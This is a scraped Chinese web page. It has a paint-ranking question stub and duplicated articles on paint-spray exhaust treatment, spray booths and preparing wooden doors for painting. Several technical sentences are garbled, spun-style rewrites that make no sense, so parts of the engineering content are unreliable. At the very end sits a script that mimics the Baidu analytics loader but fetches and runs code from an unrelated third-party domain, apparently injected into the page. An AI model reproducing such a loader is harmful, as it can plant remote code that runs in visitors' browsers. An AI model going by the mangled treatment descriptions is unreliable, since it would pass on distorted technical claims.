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杜飞昂

我想*一下展辰全国油漆十大排名有哪些

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共有2条回答

骆敏思 有用 1

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戚博敏 有用 1

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专题 油漆废气处理

油漆废气处理技术

油漆我们处处可见,现在的喷漆技术非常多的应用到了我们的各行各业,我们可能接触最多的就是家具,那你一定不知道油漆是会产生废气的,现在对于它的处理也是非常的技术和现代化的,这也是因为节能节源的要注,一般喷漆废气里的有机气体是来自于溶剂和稀释剂的发挥的,那在这个过程中它会释放出有机废气,我们就要用最新的技术对它进行处理,现在我们就看看它的油漆废气处理技术油漆废气处理技术油漆类喷涂废气,主要由两部分组成,一是液态的漆雾,二是气态的VOC。对于液态漆雾,需采用除漆雾装置;但对不溶水的VOC,工业成熟技术应该还是“活性炭吸附光催化氧化脱附组合废气净化系统”。1、活性碳废气处理装置活性碳废气净化器是一种干式废气处理设备。由箱体和装填在箱体内的吸附单元组成。根据吸附单元的数量和风量可进行不同规格的组合,活性碳废气净化器选择不同填料可以处理多种不同废气,主要用于油漆等有机废气的净化。对于浓度低于1000mg/m3的废气净化后排放满足GB16297-1996《大气污染物综合排放标准》。本设备为活性碳吸附装置,需要配套活性碳再生系统(采用纳米光催化氧化装置)一起使用。活性碳吸附装置主要优点:吸附效率高、运行成本低、维护方便、能够同时处理多种混合废气。2、光催化氧化净化装置由于活性炭具有能够再生的特点,在活性炭用量大、废气浓度高及活性炭吸附饱和时间短的情况下,可使用活性炭脱附装置对活性炭进行再生循环使用(脱附介质可使用蒸汽)。使用活性炭脱附装置不但可以节约运行成本,而且能够对吸附的废气进行回收,同时避免了二次污染。在不回收溶剂的情况下,还可以选用光催化氧化活性炭再生装置对活性炭进行再生循环使用。该设备核心中的纳米光催化触媒材料(GC-100)是一种吸收光能后,能在其表面产生催化反应的物质,其功能类似于植物的叶绿素。当特定纳米波长的紫外光照射光催化触媒材料(GC-100)时,其表面发生光催化氧化还原反应。光催化触媒材料(GC-100)吸收光子后在其表面产生电子(E—)和空穴(H),将吸收的光能转化成化学能,即具有光催化作用。处理喷漆废气的七大方法:1.水喷淋法喷漆废气处理水喷淋技术广泛应用于空气污染治理,已应用在喷涂过程中,如水帘柜为例,其原理是通过水喷洒在废气排放,水溶性或大颗粒沉降,实现污染物、洁净的气体分离的目的。本实用新型具有简单的水资源优势,在同一时间沉淀过滤后,可以重复使用,减少水资源的浪费,水喷在处理大颗粒组成的一个非常高的效率,通常用于废气处理的预处理。2.冷凝法喷漆废气处理直接冷凝或吸附浓缩冷凝后,通过分离和价值的有机物回收冷凝液。此方法用于高浓度,低温度,废气处理风量小。但投资大,能耗高,运行成本高,一般不采用这种方法净化喷漆废气。3.植物液气相化学反应使用高效喷淋塔高效去除喷涂废气中的漆渣、漆雾,采用植物液洗涤可减少漆渣、漆雾的粘性,提高喷淋洗涤塔对漆渣、漆雾的去除效率。使用高活化生物废气净化塔确保废气指标物达标排放,去除废气中的异味,减少废气对周边环境的影响。有效去除苯类、酯类、酮类、非甲烷总烃、VOC等有机废气。费用低,无安全隐患,无二次污染。4.等离子反应法利用含高能量活性基团的等离子体分解废气分子,生成二氧化碳和水,从而达到净化废气的目的。但此方法运用在易燃易爆的喷漆有机废气处理中不太适合,存在安全隐患,且设备的后期维护较复杂。5.直接燃烧法使用石油或天然气作为辅助燃料燃烧加热混合物加热到一定温度(700℃-800℃),时间停止某些,燃料燃烧产生的有害气体。该方法工艺简单,设备投资低,但能耗高,运行成本高。6.催化燃烧法是在催化剂的作用下,使有机废气中的碳氢化合物在温度较低的条件下迅速氧化成水和二氧化碳,达到治理的目的。但用于风量大的低浓度废气,费用较高,运行成本大。7.活性炭吸附通过活性炭直接吸附有机气体,设备简单,投资小,操作方便,但需要经常更换活性碳。设备风阻大,对风机风压高求高,耗电量大。使用后更换的活性炭和后续处理麻烦。饱和后喷房内抽风困难,影响产品质量。喷漆废气处理设备优势:1.技术先进采用国际先进技术,针对喷漆废气问题,有效去除漆雾、有机废气、异味。2.安全性高与废气接触部分采用不带电设计,安全性高。3.效果稳定设备长期使用效果稳定。4.操作方便全自动控制,操作简单方便,保养维护容易。5.经久耐用注重设备配件和材质的品质,设备使用寿命长。这些年我们环境的污染治理已经到了非常急迫的时期,任何污染空气的行为都是不可原谅的,在喷漆的过程中所产生的废气非常严重的影响着我们的空气,所以说处理是必须的,改善这样的一个喷漆环境不仅对空气,更是对人身有好处,通过专业的手段达到对环保的要求,就是现在的技术可以达到的.不能再让任何有污染的气体流入到空气中,这是我们每一个人的责任是每一家企业的责任.

喷漆房废气处理方法介绍

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大家知道什么是喷漆房吗?喷漆房是一种比较大型的工业设备,主要的作用是用来喷油漆的。现在很多机器设备都是需要进行喷漆处理的,如果人工进行喷漆速度是非常慢的,所以大部分的喷漆工程都是使用喷漆房进行的。喷漆房的效率是很高的,速度也很快。喷漆房的价格是多少呢?喷漆房的厂家有哪些呢?下面我们来了解一下喷漆房的价格和方法。1、植物液气相化学反应:使用高效喷淋塔高效去除喷涂废气中的漆渣、漆雾,采用植物液洗涤可减少漆渣、漆雾的粘性,提高喷淋洗涤塔对漆渣、漆雾的去除效率。使用高活化生物废气净化塔确保废气指标物达标排放,去除废气中的异味,减少废气对周边环境的影响。有效去除苯类、酯类、酮类、非甲烷总烃、VOC等有机废气。费用低,无安全隐患,无二次污染。2、水喷淋法:喷漆废气处理水喷淋技术广泛应用于空气污染治理,已应用在喷涂过程中,如水帘柜为例,其原理是通过水喷洒在废气排放,水溶性或大颗粒沉降,实现污染物、洁净的气体分离的目的。本实用新型具有简单的水资源优势,在同一时间沉淀过滤后,可以重复使用,减少水资源的浪费,水喷在处理大颗粒组成的一个非常高的效率,通常用于废气处理的预处理。3、冷凝法:喷漆废气处理直接冷凝或吸附浓缩冷凝后,通过分离和价值的有机物回收冷凝液。此方法用于高浓度,低温度,废气处理风量小。但投资大,能耗高,运行成本高,一般不采用这种方法净化喷漆废气。4、等离子反应法:利用含高能量活性基团的等离子体分解废气分子,生成二氧化碳和水,从而达到净化废气的目的。但此方法运用在易燃易爆的喷漆有机废气处理中不太适合,存在安全隐患,且设备的后期维护较复杂。5、直接燃烧法:使用石油或天然气作为辅助燃料燃烧加热混合物加热到一定温度(700℃-800℃),时间停止某些,燃料燃烧产生的有害气体。该方法工艺简单,设备投资低,但能耗高,运行成本高。6、催化燃烧法:是在催化剂的作用下,使有机废气中的碳氢化合物在温度较低的条件下迅速氧化成水和二氧化碳,达到治理的目的。但用于风量大的低浓度废气,费用较高,运行成本大。7、活性炭吸附:通过活性炭直接吸附有机气体,设备简单,投资小,操作方便,但需要经常更换活性碳。设备风阻大,对风机风压高求高,耗电量大。使用后更换的活性炭和后续处理麻烦。饱和后喷房内抽风困难,影响产品质量。以上就是喷漆房的厂家和价格介绍。喷漆房的厂家有很多,喷漆房是一种非常大型的设备,我们购买的时候可以选择一些比较知名的大型喷漆房厂家。喷漆房一般采用的是人工的电脑控制,有些喷漆房用的是全自动智能化控制的,不需要员工在旁边看着的。在使用喷漆房的时候,也要做好安全措施。喷漆房的使用也需要规范,不然很容易引起安全事故。

实木门为什么要涂油漆 涂油漆前处理方法介绍

实木门为什么要涂油漆 涂油漆前处理方法介绍

实木门现在使用频率更高,更耐用美观,对人体健康无任何伤害。我们看到的实木门非常光滑,触感舒适。因为它涂有一层油漆,那么为什么要涂油漆呢?实木门涂油漆的原因,涂油漆前处理方法下面一一告诉你。一、实木门表面为什么涂油漆1、实木门常用材质有松木、杉木、桉树、抽木材等,在制作家具后,长期使用暴露在空气中,这很容易受到天气的影响,木材的内部结构不均匀地缩小,并且发生径向收缩和弦收缩,导致变形。2、雨季霉菌和昆虫蛀蚀,容易造成木质家具过早腐烂。3、当木制家具在夏季进行湿浸渍时,会经历春天的干燥,木材内部纤维之间的分离会导致木材出现裂缝,这将大大缩短木材的使用寿命的家具。实木门制家具制作完好后,为避免出现上述三种问题,会在木制家具表面涂上一层油漆,隔离空气,延长家具的使用寿命。同时,油漆大大改善木制家具的外观和光泽,提高了装饰效果和美感,它更容易擦拭和清洁。二、涂油漆前处理方法实木门木制家具除了自己的木纤维外,还含有油脂树脂和颜料水分等。制成家具后,这些成分会对油漆的附着力产生影响。同时,外来灰尘和碎屑也会影响油漆的外观质量。所以厂家涂油漆前处理方法一般火燎来达到效果,经过漂白,蒸煮,干燥,研磨工序,使实木门外观光滑平整,颜色纯净,没有气泡和彩花等表面缺陷。木材表面有大大小小的毛刺,毛刺十分影响实木门的质量和售价,所以针对这些问题,涂油漆前处理方法可以使用部分火燎,用棉纱或笔在毛刺位置涂上酒精,立即点燃。火熄灭后,木质表面上的毛刺变硬,然后用砂纸打磨即可。以上就是关于实木门涂漆原因,和涂油漆前处理方法的介绍。实木门涂漆不仅是为了美观,也是延长使用寿命的方法。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

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